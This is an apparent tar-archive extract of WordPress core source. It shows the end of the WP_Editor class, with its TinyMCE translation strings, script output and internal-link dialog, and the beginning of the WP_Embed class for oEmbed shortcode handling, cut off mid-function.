'language' ), 'wp_keep_scroll_position' => false, 'wp_shortcut_labels' => wp_json_encode( $shortcut_labels ), ); $suffix = SCRIPT_DEBUG ? '' : '.min'; $version = 'ver=' . get_bloginfo( 'version' ); // Default stylesheets. $settings['content_css'] = includes_url( "css/dashicons$suffix.css?$version" ) . ',' . includes_url( "js/tinymce/skins/wordpress/wp-content.css?$version" ); return $settings; } /** * @since 4.7.0 * * @return array */ private static function get_translation() { if ( empty( self::$translation ) ) { self::$translation = array( // Default TinyMCE strings. 'New document' => __( 'New document' ), 'Formats' => _x( 'Formats', 'TinyMCE' ), 'Headings' => _x( 'Headings', 'TinyMCE' ), 'Heading 1' => array( __( 'Heading 1' ), 'access1' ), 'Heading 2' => array( __( 'Heading 2' ), 'access2' ), 'Heading 3' => array( __( 'Heading 3' ), 'access3' ), 'Heading 4' => array( __( 'Heading 4' ), 'access4' ), 'Heading 5' => array( __( 'Heading 5' ), 'access5' ), 'Heading 6' => array( __( 'Heading 6' ), 'access6' ), /* translators: Block tags. */ 'Blocks' => _x( 'Blocks', 'TinyMCE' ), 'Paragraph' => array( __( 'Paragraph' ), 'access7' ), 'Blockquote' => array( __( 'Blockquote' ), 'accessQ' ), 'Div' => _x( 'Div', 'HTML tag' ), 'Pre' => _x( 'Pre', 'HTML tag' ), 'Preformatted' => _x( 'Preformatted', 'HTML tag' ), 'Address' => _x( 'Address', 'HTML tag' ), 'Inline' => _x( 'Inline', 'HTML elements' ), 'Underline' => array( __( 'Underline' ), 'metaU' ), 'Strikethrough' => array( __( 'Strikethrough' ), 'accessD' ), 'Subscript' => __( 'Subscript' ), 'Superscript' => __( 'Superscript' ), 'Clear formatting' => __( 'Clear formatting' ), 'Bold' => array( __( 'Bold' ), 'metaB' ), 'Italic' => array( __( 'Italic' ), 'metaI' ), 'Code' => array( __( 'Code' ), 'accessX' ), 'Source code' => __( 'Source code' ), 'Font Family' => __( 'Font Family' ), 'Font Sizes' => __( 'Font Sizes' ), 'Align center' => array( __( 'Align center' ), 'accessC' ), 'Align right' => array( __( 'Align right' ), 'accessR' ), 'Align left' => array( __( 'Align left' ), 'accessL' ), 'Justify' => array( __( 'Justify' ), 'accessJ' ), 'Increase indent' => __( 'Increase indent' ), 'Decrease indent' => __( 'Decrease indent' ), 'Cut' => array( __( 'Cut' ), 'metaX' ), 'Copy' => array( __( 'Copy' ), 'metaC' ), 'Paste' => array( __( 'Paste' ), 'metaV' ), 'Select all' => array( __( 'Select all' ), 'metaA' ), 'Undo' => array( __( 'Undo' ), 'metaZ' ), 'Redo' => array( __( 'Redo' ), 'metaY' ), 'Ok' => __( 'OK' ), 'Cancel' => __( 'Cancel' ), 'Close' => __( 'Close' ), 'Visual aids' => __( 'Visual aids' ), 'Bullet list' => array( __( 'Bulleted list' ), 'accessU' ), 'Numbered list' => array( __( 'Numbered list' ), 'accessO' ), 'Square' => _x( 'Square', 'list style' ), 'Default' => _x( 'Default', 'list style' ), 'Circle' => _x( 'Circle', 'list style' ), 'Disc' => _x( 'Disc', 'list style' ), 'Lower Greek' => _x( 'Lower Greek', 'list style' ), 'Lower Alpha' => _x( 'Lower Alpha', 'list style' ), 'Upper Alpha' => _x( 'Upper Alpha', 'list style' ), 'Upper Roman' => _x( 'Upper Roman', 'list style' ), 'Lower Roman' => _x( 'Lower Roman', 'list style' ), // Anchor plugin. 'Name' => _x( 'Name', 'Name of link anchor (TinyMCE)' ), 'Anchor' => _x( 'Anchor', 'Link anchor (TinyMCE)' ), 'Anchors' => _x( 'Anchors', 'Link anchors (TinyMCE)' ), 'Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.' => __( 'Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.' ), 'Id' => _x( 'Id', 'Id for link anchor (TinyMCE)' ), // Fullpage plugin. 'Document properties' => __( 'Document properties' ), 'Robots' => __( 'Robots' ), 'Title' => __( 'Title' ), 'Keywords' => __( 'Keywords' ), 'Encoding' => __( 'Encoding' ), 'Description' => __( 'Description' ), 'Author' => __( 'Author' ), // Media, image plugins. 'Image' => __( 'Image' ), 'Insert/edit image' => array( __( 'Insert/edit image' ), 'accessM' ), 'General' => __( 'General' ), 'Advanced' => __( 'Advanced' ), 'Source' => __( 'Source' ), 'Border' => __( 'Border' ), 'Constrain proportions' => __( 'Constrain proportions' ), 'Vertical space' => __( 'Vertical space' ), 'Image description' => __( 'Image description' ), 'Style' => __( 'Style' ), 'Dimensions' => __( 'Dimensions' ), 'Insert image' => __( 'Insert image' ), 'Date/time' => __( 'Date/time' ), 'Insert date/time' => __( 'Insert date/time' ), 'Table of Contents' => __( 'Table of Contents' ), 'Insert/Edit code sample' => __( 'Insert/edit code sample' ), 'Language' => __( 'Language' ), 'Media' => __( 'Media' ), 'Insert/edit media' => __( 'Insert/edit media' ), 'Poster' => __( 'Poster' ), 'Alternative source' => __( 'Alternative source' ), 'Paste your embed code below:' => __( 'Paste your embed code below:' ), 'Insert video' => __( 'Insert video' ), 'Embed' => __( 'Embed' ), // Each of these have a corresponding plugin. 'Special character' => __( 'Special character' ), 'Right to left' => _x( 'Right to left', 'editor button' ), 'Left to right' => _x( 'Left to right', 'editor button' ), 'Emoticons' => __( 'Emoticons' ), 'Nonbreaking space' => __( 'Nonbreaking space' ), 'Page break' => __( 'Page break' ), 'Paste as text' => __( 'Paste as text' ), 'Preview' => __( 'Preview' ), 'Print' => __( 'Print' ), 'Save' => __( 'Save' ), 'Fullscreen' => __( 'Fullscreen' ), 'Horizontal line' => __( 'Horizontal line' ), 'Horizontal space' => __( 'Horizontal space' ), 'Restore last draft' => __( 'Restore last draft' ), 'Insert/edit link' => array( __( 'Insert/edit link' ), 'metaK' ), 'Remove link' => array( __( 'Remove link' ), 'accessS' ), // Link plugin. 'Link' => __( 'Link' ), 'Insert link' => __( 'Insert link' ), 'Target' => __( 'Target' ), 'New window' => __( 'New window' ), 'Text to display' => __( 'Text to display' ), 'Url' => __( 'URL' ), 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?' => __( 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?' ), 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?' => __( 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?' ), 'Color' => __( 'Color' ), 'Custom color' => __( 'Custom color' ), 'Custom...' => _x( 'Custom...', 'label for custom color' ), // No ellipsis. 'No color' => __( 'No color' ), 'R' => _x( 'R', 'Short for red in RGB' ), 'G' => _x( 'G', 'Short for green in RGB' ), 'B' => _x( 'B', 'Short for blue in RGB' ), // Spelling, search/replace plugins. 'Could not find the specified string.' => __( 'Could not find the specified string.' ), 'Replace' => _x( 'Replace', 'find/replace' ), 'Next' => _x( 'Next', 'find/replace' ), /* translators: Previous. */ 'Prev' => _x( 'Prev', 'find/replace' ), 'Whole words' => _x( 'Whole words', 'find/replace' ), 'Find and replace' => __( 'Find and replace' ), 'Replace with' => _x( 'Replace with', 'find/replace' ), 'Find' => _x( 'Find', 'find/replace' ), 'Replace all' => _x( 'Replace all', 'find/replace' ), 'Match case' => __( 'Match case' ), 'Spellcheck' => __( 'Check Spelling' ), 'Finish' => _x( 'Finish', 'spellcheck' ), 'Ignore all' => _x( 'Ignore all', 'spellcheck' ), 'Ignore' => _x( 'Ignore', 'spellcheck' ), 'Add to Dictionary' => __( 'Add to Dictionary' ), // TinyMCE tables. 'Insert table' => __( 'Insert table' ), 'Delete table' => __( 'Delete table' ), 'Table properties' => __( 'Table properties' ), 'Row properties' => __( 'Table row properties' ), 'Cell properties' => __( 'Table cell properties' ), 'Border color' => __( 'Border color' ), 'Row' => __( 'Row' ), 'Rows' => __( 'Rows' ), 'Column' => __( 'Column' ), 'Cols' => __( 'Columns' ), 'Cell' => _x( 'Cell', 'table cell' ), 'Header cell' => __( 'Header cell' ), 'Header' => _x( 'Header', 'table header' ), 'Body' => _x( 'Body', 'table body' ), 'Footer' => _x( 'Footer', 'table footer' ), 'Insert row before' => __( 'Insert row before' ), 'Insert row after' => __( 'Insert row after' ), 'Insert column before' => __( 'Insert column before' ), 'Insert column after' => __( 'Insert column after' ), 'Paste row before' => __( 'Paste table row before' ), 'Paste row after' => __( 'Paste table row after' ), 'Delete row' => __( 'Delete row' ), 'Delete column' => __( 'Delete column' ), 'Cut row' => __( 'Cut table row' ), 'Copy row' => __( 'Copy table row' ), 'Merge cells' => __( 'Merge table cells' ), 'Split cell' => __( 'Split table cell' ), 'Height' => __( 'Height' ), 'Width' => __( 'Width' ), 'Caption' => __( 'Caption' ), 'Alignment' => __( 'Alignment' ), 'H Align' => _x( 'H Align', 'horizontal table cell alignment' ), 'Left' => __( 'Left' ), 'Center' => __( 'Center' ), 'Right' => __( 'Right' ), 'None' => _x( 'None', 'table cell alignment attribute' ), 'V Align' => _x( 'V Align', 'vertical table cell alignment' ), 'Top' => __( 'Top' ), 'Middle' => __( 'Middle' ), 'Bottom' => __( 'Bottom' ), 'Row group' => __( 'Row group' ), 'Column group' => __( 'Column group' ), 'Row type' => __( 'Row type' ), 'Cell type' => __( 'Cell type' ), 'Cell padding' => __( 'Cell padding' ), 'Cell spacing' => __( 'Cell spacing' ), 'Scope' => _x( 'Scope', 'table cell scope attribute' ), 'Insert template' => _x( 'Insert template', 'TinyMCE' ), 'Templates' => _x( 'Templates', 'TinyMCE' ), 'Background color' => __( 'Background color' ), 'Text color' => __( 'Text color' ), 'Show blocks' => _x( 'Show blocks', 'editor button' ), 'Show invisible characters' => __( 'Show invisible characters' ), /* translators: Word count. */ 'Words: {0}' => sprintf( __( 'Words: %s' ), '{0}' ), 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.' => __( 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.' ) . "\n\n" . __( 'If you’re looking to paste rich content from Microsoft Word, try turning this option off. The editor will clean up text pasted from Word automatically.' ), 'Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help' => __( 'Rich Text Area. Press Alt-Shift-H for help.' ), 'Rich Text Area. Press Control-Option-H for help.' => __( 'Rich Text Area. Press Control-Option-H for help.' ), 'You have unsaved changes are you sure you want to navigate away?' => __( 'The changes you made will be lost if you navigate away from this page.' ), 'Your browser doesn\'t support direct access to the clipboard. Please use the Ctrl+X/C/V keyboard shortcuts instead.' => __( 'Your browser does not support direct access to the clipboard. Please use keyboard shortcuts or your browser’s edit menu instead.' ), // TinyMCE menus. 'Insert' => _x( 'Insert', 'TinyMCE menu' ), 'File' => _x( 'File', 'TinyMCE menu' ), 'Edit' => _x( 'Edit', 'TinyMCE menu' ), 'Tools' => _x( 'Tools', 'TinyMCE menu' ), 'View' => _x( 'View', 'TinyMCE menu' ), 'Table' => _x( 'Table', 'TinyMCE menu' ), 'Format' => _x( 'Format', 'TinyMCE menu' ), // WordPress strings. 'Toolbar Toggle' => array( __( 'Toolbar Toggle' ), 'accessZ' ), 'Insert Read More tag' => array( __( 'Insert Read More tag' ), 'accessT' ), 'Insert Page Break tag' => array( __( 'Insert Page Break tag' ), 'accessP' ), 'Read more...' => __( 'Read more...' ), // Title on the placeholder inside the editor (no ellipsis). 'Distraction-free writing mode' => array( __( 'Distraction-free writing mode' ), 'accessW' ), 'No alignment' => __( 'No alignment' ), // Tooltip for the 'alignnone' button in the image toolbar. 'Remove' => __( 'Remove' ), // Tooltip for the 'remove' button in the image toolbar. 'Edit|button' => __( 'Edit' ), // Tooltip for the 'edit' button in the image toolbar. 'Paste URL or type to search' => __( 'Paste URL or type to search' ), // Placeholder for the inline link dialog. 'Apply' => __( 'Apply' ), // Tooltip for the 'apply' button in the inline link dialog. 'Link options' => __( 'Link options' ), // Tooltip for the 'link options' button in the inline link dialog. 'Visual' => _x( 'Visual', 'Name for the Visual editor tab' ), // Editor switch tab label. 'Text' => _x( 'Text', 'Name for the Text editor tab (formerly HTML)' ), // Editor switch tab label. 'Add Media' => array( __( 'Add Media' ), 'accessM' ), // Tooltip for the 'Add Media' button in the block editor Classic block. // Shortcuts help modal. 'Keyboard Shortcuts' => array( __( 'Keyboard Shortcuts' ), 'accessH' ), 'Classic Block Keyboard Shortcuts' => __( 'Classic Block Keyboard Shortcuts' ), 'Default shortcuts,' => __( 'Default shortcuts,' ), 'Additional shortcuts,' => __( 'Additional shortcuts,' ), 'Focus shortcuts:' => __( 'Focus shortcuts:' ), 'Inline toolbar (when an image, link or preview is selected)' => __( 'Inline toolbar (when an image, link or preview is selected)' ), 'Editor menu (when enabled)' => __( 'Editor menu (when enabled)' ), 'Editor toolbar' => __( 'Editor toolbar' ), 'Elements path' => __( 'Elements path' ), 'Ctrl + Alt + letter:' => __( 'Ctrl + Alt + letter:' ), 'Shift + Alt + letter:' => __( 'Shift + Alt + letter:' ), 'Cmd + letter:' => __( 'Cmd + letter:' ), 'Ctrl + letter:' => __( 'Ctrl + letter:' ), 'Letter' => __( 'Letter' ), 'Action' => __( 'Action' ), 'Warning: the link has been inserted but may have errors. Please test it.' => __( 'Warning: the link has been inserted but may have errors. Please test it.' ), 'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' => __( 'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' ), 'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' => __( 'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' ), 'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' => __( 'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' ), 'The next group of formatting shortcuts are applied as you type or when you insert them around plain text in the same paragraph. Press Escape or the Undo button to undo.' => __( 'The next group of formatting shortcuts are applied as you type or when you insert them around plain text in the same paragraph. Press Escape or the Undo button to undo.' ), ); } /* Imagetools plugin (not included): 'Edit image' => __( 'Edit image' ), 'Image options' => __( 'Image options' ), 'Back' => __( 'Back' ), 'Invert' => __( 'Invert' ), 'Flip horizontally' => __( 'Flip horizontal' ), 'Flip vertically' => __( 'Flip vertical' ), 'Crop' => __( 'Crop' ), 'Orientation' => __( 'Orientation' ), 'Resize' => __( 'Resize' ), 'Rotate clockwise' => __( 'Rotate right' ), 'Rotate counterclockwise' => __( 'Rotate left' ), 'Sharpen' => __( 'Sharpen' ), 'Brightness' => __( 'Brightness' ), 'Color levels' => __( 'Color levels' ), 'Contrast' => __( 'Contrast' ), 'Gamma' => __( 'Gamma' ), 'Zoom in' => __( 'Zoom in' ), 'Zoom out' => __( 'Zoom out' ), */ return self::$translation; } /** * Translates the default TinyMCE strings and returns them as JSON encoded object ready to be loaded with tinymce.addI18n(), * or as JS snippet that should run after tinymce.js is loaded. * * @since 3.9.0 * * @param string $mce_locale The locale used for the editor. * @param bool $json_only Optional. Whether to include the JavaScript calls to tinymce.addI18n() and * tinymce.ScriptLoader.markDone(). * @return string Translation object, JSON encoded. */ public static function wp_mce_translation( $mce_locale = '', $json_only = false ) { if ( ! $mce_locale ) { $mce_locale = self::get_mce_locale(); } $mce_translation = self::get_translation(); foreach ( $mce_translation as $name => $value ) { if ( is_array( $value ) ) { $mce_translation[ $name ] = $value[0]; } } /** * Filters translated strings prepared for TinyMCE. * * @since 3.9.0 * * @param array $mce_translation Key/value pairs of strings. * @param string $mce_locale Locale. */ $mce_translation = apply_filters( 'wp_mce_translation', $mce_translation, $mce_locale ); foreach ( $mce_translation as $key => $value ) { // Remove strings that are not translated. if ( $key === $value ) { unset( $mce_translation[ $key ] ); continue; } if ( false !== strpos( $value, '&' ) ) { $mce_translation[ $key ] = html_entity_decode( $value, ENT_QUOTES, 'UTF-8' ); } } // Set direction. if ( is_rtl() ) { $mce_translation['_dir'] = 'rtl'; } if ( $json_only ) { return wp_json_encode( $mce_translation ); } $baseurl = self::get_baseurl(); return "tinymce.addI18n( '$mce_locale', " . wp_json_encode( $mce_translation ) . ");\n" . "tinymce.ScriptLoader.markDone( '$baseurl/langs/$mce_locale.js' );\n"; } /** * Force uncompressed TinyMCE when a custom theme has been defined. * * The compressed TinyMCE file cannot deal with custom themes, so this makes * sure that we use the uncompressed TinyMCE file if a theme is defined. * Even if we are on a production environment. * * @since 5.0.0 */ public static function force_uncompressed_tinymce() { $has_custom_theme = false; foreach ( self::$mce_settings as $init ) { if ( ! empty( $init['theme_url'] ) ) { $has_custom_theme = true; break; } } if ( ! $has_custom_theme ) { return; } $wp_scripts = wp_scripts(); $wp_scripts->remove( 'wp-tinymce' ); wp_register_tinymce_scripts( $wp_scripts, true ); } /** * Print (output) the main TinyMCE scripts. * * @since 4.8.0 * * @global bool $concatenate_scripts */ public static function print_tinymce_scripts() { global $concatenate_scripts; if ( self::$tinymce_scripts_printed ) { return; } self::$tinymce_scripts_printed = true; if ( ! isset( $concatenate_scripts ) ) { script_concat_settings(); } wp_print_scripts( array( 'wp-tinymce' ) ); echo "<script type='text/javascript'>\n" . self::wp_mce_translation() . "</script>\n"; } /** * Print (output) the TinyMCE configuration and initialization scripts. * * @since 3.3.0 * * @global string $tinymce_version */ public static function editor_js() { global $tinymce_version; $tmce_on = ! empty( self::$mce_settings ); $mceInit = ''; $qtInit = ''; if ( $tmce_on ) { foreach ( self::$mce_settings as $editor_id => $init ) { $options = self::_parse_init( $init ); $mceInit .= "'$editor_id':{$options},"; } $mceInit = '{' . trim( $mceInit, ',' ) . '}'; } else { $mceInit = '{}'; } if ( ! empty( self::$qt_settings ) ) { foreach ( self::$qt_settings as $editor_id => $init ) { $options = self::_parse_init( $init ); $qtInit .= "'$editor_id':{$options},"; } $qtInit = '{' . trim( $qtInit, ',' ) . '}'; } else { $qtInit = '{}'; } $ref = array( 'plugins' => implode( ',', self::$plugins ), 'theme' => 'modern', 'language' => self::$mce_locale, ); $suffix = SCRIPT_DEBUG ? '' : '.min'; $baseurl = self::get_baseurl(); $version = 'ver=' . $tinymce_version; /** * Fires immediately before the TinyMCE settings are printed. * * @since 3.2.0 * * @param array $mce_settings TinyMCE settings array. */ do_action( 'before_wp_tiny_mce', self::$mce_settings ); ?> <script type="text/javascript"> tinyMCEPreInit = { baseURL: "<?php echo $baseurl; ?>", suffix: "<?php echo $suffix; ?>", <?php if ( self::$drag_drop_upload ) { echo 'dragDropUpload: true,'; } ?> mceInit: <?php echo $mceInit; ?>, qtInit: <?php echo $qtInit; ?>, ref: <?php echo self::_parse_init( $ref ); ?>, load_ext: function(url,lang){var sl=tinymce.ScriptLoader;sl.markDone(url+'/langs/'+lang+'.js');sl.markDone(url+'/langs/'+lang+'_dlg.js');} }; </script> <?php if ( $tmce_on ) { self::print_tinymce_scripts(); if ( self::$ext_plugins ) { // Load the old-format English strings to prevent unsightly labels in old style popups. echo "<script type='text/javascript' src='{$baseurl}/langs/wp-langs-en.js?$version'></script>\n"; } } /** * Fires after tinymce.js is loaded, but before any TinyMCE editor * instances are created. * * @since 3.9.0 * * @param array $mce_settings TinyMCE settings array. */ do_action( 'wp_tiny_mce_init', self::$mce_settings ); ?> <script type="text/javascript"> <?php if ( self::$ext_plugins ) { echo self::$ext_plugins . "\n"; } if ( ! is_admin() ) { echo 'var ajaxurl = "' . admin_url( 'admin-ajax.php', 'relative' ) . '";'; } ?> ( function() { var init, id, $wrap; if ( typeof tinymce !== 'undefined' ) { if ( tinymce.Env.ie && tinymce.Env.ie < 11 ) { tinymce.$( '.wp-editor-wrap ' ).removeClass( 'tmce-active' ).addClass( 'html-active' ); return; } for ( id in tinyMCEPreInit.mceInit ) { init = tinyMCEPreInit.mceInit[id]; $wrap = tinymce.$( '#wp-' + id + '-wrap' ); if ( ( $wrap.hasClass( 'tmce-active' ) || ! tinyMCEPreInit.qtInit.hasOwnProperty( id ) ) && ! init.wp_skip_init ) { tinymce.init( init ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = id; } } } } if ( typeof quicktags !== 'undefined' ) { for ( id in tinyMCEPreInit.qtInit ) { quicktags( tinyMCEPreInit.qtInit[id] ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = id; } } } }()); </script> <?php if ( in_array( 'wplink', self::$plugins, true ) || in_array( 'link', self::$qt_buttons, true ) ) { self::wp_link_dialog(); } /** * Fires after any core TinyMCE editor instances are created. * * @since 3.2.0 * * @param array $mce_settings TinyMCE settings array. */ do_action( 'after_wp_tiny_mce', self::$mce_settings ); } /** * Outputs the HTML for distraction-free writing mode. * * @since 3.2.0 * @deprecated 4.3.0 */ public static function wp_fullscreen_html() { _deprecated_function( __FUNCTION__, '4.3.0' ); } /** * Performs post queries for internal linking. * * @since 3.1.0 * * @param array $args Optional. Accepts 'pagenum' and 's' (search) arguments. * @return array|false Results. */ public static function wp_link_query( $args = array() ) { $pts = get_post_types( array( 'public' => true ), 'objects' ); $pt_names = array_keys( $pts ); $query = array( 'post_type' => $pt_names, 'suppress_filters' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'post_status' => 'publish', 'posts_per_page' => 20, ); $args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1; if ( isset( $args['s'] ) ) { $query['s'] = $args['s']; } $query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] - 1 ) : 0; /** * Filters the link query arguments. * * Allows modification of the link query arguments before querying. * * @see WP_Query for a full list of arguments * * @since 3.7.0 * * @param array $query An array of WP_Query arguments. */ $query = apply_filters( 'wp_link_query_args', $query ); // Do main query. $get_posts = new WP_Query; $posts = $get_posts->query( $query ); // Build results. $results = array(); foreach ( $posts as $post ) { if ( 'post' === $post->post_type ) { $info = mysql2date( __( 'Y/m/d' ), $post->post_date ); } else { $info = $pts[ $post->post_type ]->labels->singular_name; } $results[] = array( 'ID' => $post->ID, 'title' => trim( esc_html( strip_tags( get_the_title( $post ) ) ) ), 'permalink' => get_permalink( $post->ID ), 'info' => $info, ); } /** * Filters the link query results. * * Allows modification of the returned link query results. * * @since 3.7.0 * * @see 'wp_link_query_args' filter * * @param array $results { * An array of associative arrays of query results. * * @type array ...$0 { * @type int $ID Post ID. * @type string $title The trimmed, escaped post title. * @type string $permalink Post permalink. * @type string $info A 'Y/m/d'-formatted date for 'post' post type, * the 'singular_name' post type label otherwise. * } * } * @param array $query An array of WP_Query arguments. */ $results = apply_filters( 'wp_link_query', $results, $query ); return ! empty( $results ) ? $results : false; } /** * Dialog for internal linking. * * @since 3.1.0 */ public static function wp_link_dialog() { // Run once. if ( self::$link_dialog_printed ) { return; } self::$link_dialog_printed = true; // `display: none` is required here, see #WP27605. ?> <div id="wp-link-backdrop" style="display: none"></div> <div id="wp-link-wrap" class="wp-core-ui" style="display: none" role="dialog" aria-labelledby="link-modal-title"> <form id="wp-link" tabindex="-1"> <?php wp_nonce_field( 'internal-linking', '_ajax_linking_nonce', false ); ?> <h1 id="link-modal-title"><?php _e( 'Insert/edit link' ); ?></h1> <button type="button" id="wp-link-close"><span class="screen-reader-text"><?php _e( 'Close' ); ?></span></button> <div id="link-selector"> <div id="link-options"> <p class="howto" id="wplink-enter-url"><?php _e( 'Enter the destination URL' ); ?></p> <div> <label><span><?php _e( 'URL' ); ?></span> <input id="wp-link-url" type="text" aria-describedby="wplink-enter-url" /></label> </div> <div class="wp-link-text-field"> <label><span><?php _e( 'Link Text' ); ?></span> <input id="wp-link-text" type="text" /></label> </div> <div class="link-target"> <label><span></span> <input type="checkbox" id="wp-link-target" /> <?php _e( 'Open link in a new tab' ); ?></label> </div> </div> <p class="howto" id="wplink-link-existing-content"><?php _e( 'Or link to existing content' ); ?></p> <div id="search-panel"> <div class="link-search-wrapper"> <label> <span class="search-label"><?php _e( 'Search' ); ?></span> <input type="search" id="wp-link-search" class="link-search-field" autocomplete="off" aria-describedby="wplink-link-existing-content" /> <span class="spinner"></span> </label> </div> <div id="search-results" class="query-results" tabindex="0"> <ul></ul> <div class="river-waiting"> <span class="spinner"></span> </div> </div> <div id="most-recent-results" class="query-results" tabindex="0"> <div class="query-notice" id="query-notice-message"> <em class="query-notice-default"><?php _e( 'No search term specified. Showing recent items.' ); ?></em> <em class="query-notice-hint screen-reader-text"><?php _e( 'Search or use up and down arrow keys to select an item.' ); ?></em> </div> <ul></ul> <div class="river-waiting"> <span class="spinner"></span> </div> </div> </div> </div> <div class="submitbox"> <div id="wp-link-cancel"> <button type="button" class="button"><?php _e( 'Cancel' ); ?></button> </div> <div id="wp-link-update"> <input type="submit" value="<?php esc_attr_e( 'Add Link' ); ?>" class="button button-primary" id="wp-link-submit" name="wp-link-submit"> </div> </div> </form> </div> <?php } } ������������������������������������������������������������������������������������������������������class-wp-embed.php����������������������������������������������������������������������������������0000644�����������������00000036657�15120262030�0010070 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * API for easily embedding rich media such as videos and images into content. * * @package WordPress * @subpackage Embed * @since 2.9.0 */ class WP_Embed { public $handlers = array(); public $post_ID; public $usecache = true; public $linkifunknown = true; public $last_attr = array(); public $last_url = ''; /** * When a URL cannot be embedded, return false instead of returning a link * or the URL. * * Bypasses the {@see 'embed_maybe_make_link'} filter. * * @var bool */ public $return_false_on_fail = false; /** * Constructor */ public function __construct() { // Hack to get the [embed] shortcode to run before wpautop(). add_filter( 'the_content', array( $this, 'run_shortcode' ), 8 ); add_filter( 'widget_text_content', array( $this, 'run_shortcode' ), 8 ); // Shortcode placeholder for strip_shortcodes(). add_shortcode( 'embed', '__return_false' ); // Attempts to embed all URLs in a post. add_filter( 'the_content', array( $this, 'autoembed' ), 8 ); add_filter( 'widget_text_content', array( $this, 'autoembed' ), 8 ); // After a post is saved, cache oEmbed items via Ajax. add_action( 'edit_form_advanced', array( $this, 'maybe_run_ajax_cache' ) ); add_action( 'edit_page_form', array( $this, 'maybe_run_ajax_cache' ) ); } /** * Process the [embed] shortcode. * * Since the [embed] shortcode needs to be run earlier than other shortcodes, * this function removes all existing shortcodes, registers the [embed] shortcode, * calls do_shortcode(), and then re-registers the old shortcodes. * * @global array $shortcode_tags * * @param string $content Content to parse * @return string Content with shortcode parsed */ public function run_shortcode( $content ) { global $shortcode_tags; // Back up current registered shortcodes and clear them all out. $orig_shortcode_tags = $shortcode_tags; remove_all_shortcodes(); add_shortcode( 'embed', array( $this, 'shortcode' ) ); // Do the shortcode (only the [embed] one is registered). $content = do_shortcode( $content, true ); // Put the original shortcodes back. $shortcode_tags = $orig_shortcode_tags; return $content; } /** * If a post/page was saved, then output JavaScript to make * an Ajax request that will call WP_Embed::cache_oembed(). */ public function maybe_run_ajax_cache() { $post = get_post(); if ( ! $post || empty( $_GET['message'] ) ) { return; } ?> <script type="text/javascript"> jQuery(document).ready(function($){ $.get("<?php echo admin_url( 'admin-ajax.php?action=oembed-cache&post=' . $post->ID, 'relative' ); ?>"); }); </script> <?php } /** * Registers an embed handler. * * Do not use this function directly, use wp_embed_register_handler() instead. * * This function should probably also only be used for sites that do not support oEmbed. * * @param string $id An internal ID/name for the handler. Needs to be unique. * @param string $regex The regex that will be used to see if this handler should be used for a URL. * @param callable $callback The callback function that will be called if the regex is matched. * @param int $priority Optional. Used to specify the order in which the registered handlers will be tested. * Lower numbers correspond with earlier testing, and handlers with the same priority are * tested in the order in which they were added to the action. Default 10. */ public function register_handler( $id, $regex, $callback, $priority = 10 ) { $this->handlers[ $priority ][ $id ] = array( 'regex' => $regex, 'callback' => $callback, ); } /** * Unregisters a previously-registered embed handler. * * Do not use this function directly, use wp_embed_unregister_handler() instead. * * @param string $id The handler ID that should be removed. * @param int $priority Optional. The priority of the handler to be removed (default: 10). */ public function unregister_handler( $id, $priority = 10 ) { unset( $this->handlers[ $priority ][ $id ] ); } /** * Returns embed HTML for a given URL from embed handlers. * * Attempts to convert a URL into embed HTML by checking the URL * against the regex of the registered embed handlers. * * @since 5.5.0 * * @param array $attr { * Shortcode attributes. Optional. * * @type int $width Width of the embed in pixels. * @type int $height Height of the embed in pixels. * } * @param string $url The URL attempting to be embedded. * @return string|false The embed HTML on success, false otherwise. */ public function get_embed_handler_html( $attr, $url ) { $rawattr = $attr; $attr = wp_parse_args( $attr, wp_embed_defaults( $url ) ); ksort( $this->handlers ); foreach ( $this->handlers as $priority => $handlers ) { foreach ( $handlers as $id => $handler ) { if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) { $return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr ); if ( false !== $return ) { /** * Filters the returned embed HTML. * * @since 2.9.0 * * @see WP_Embed::shortcode() * * @param string|false $return The HTML result of the shortcode, or false on failure. * @param string $url The embed URL. * @param array $attr An array of shortcode attributes. */ return apply_filters( 'embed_handler_html', $return, $url, $attr ); } } } } return false; } /** * The do_shortcode() callback function. * * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of * the registered embed handlers. If none of the regex matches and it's enabled, then the URL * will be given to the WP_oEmbed class. * * @param array $attr { * Shortcode attributes. Optional. * * @type int $width Width of the embed in pixels. * @type int $height Height of the embed in pixels. * } * @param string $url The URL attempting to be embedded. * @return string|false The embed HTML on success, otherwise the original URL. * `->maybe_make_link()` can return false on failure. */ public function shortcode( $attr, $url = '' ) { $post = get_post(); if ( empty( $url ) && ! empty( $attr['src'] ) ) { $url = $attr['src']; } $this->last_url = $url; if ( empty( $url ) ) { $this->last_attr = $attr; return ''; } $rawattr = $attr; $attr = wp_parse_args( $attr, wp_embed_defaults( $url ) ); $this->last_attr = $attr; // KSES converts & into & and we need to undo this. // See https://core.trac.wordpress.org/ticket/11311 $url = str_replace( '&', '&', $url ); // Look for known internal handlers. $embed_handler_html = $this->get_embed_handler_html( $rawattr, $url ); if ( false !== 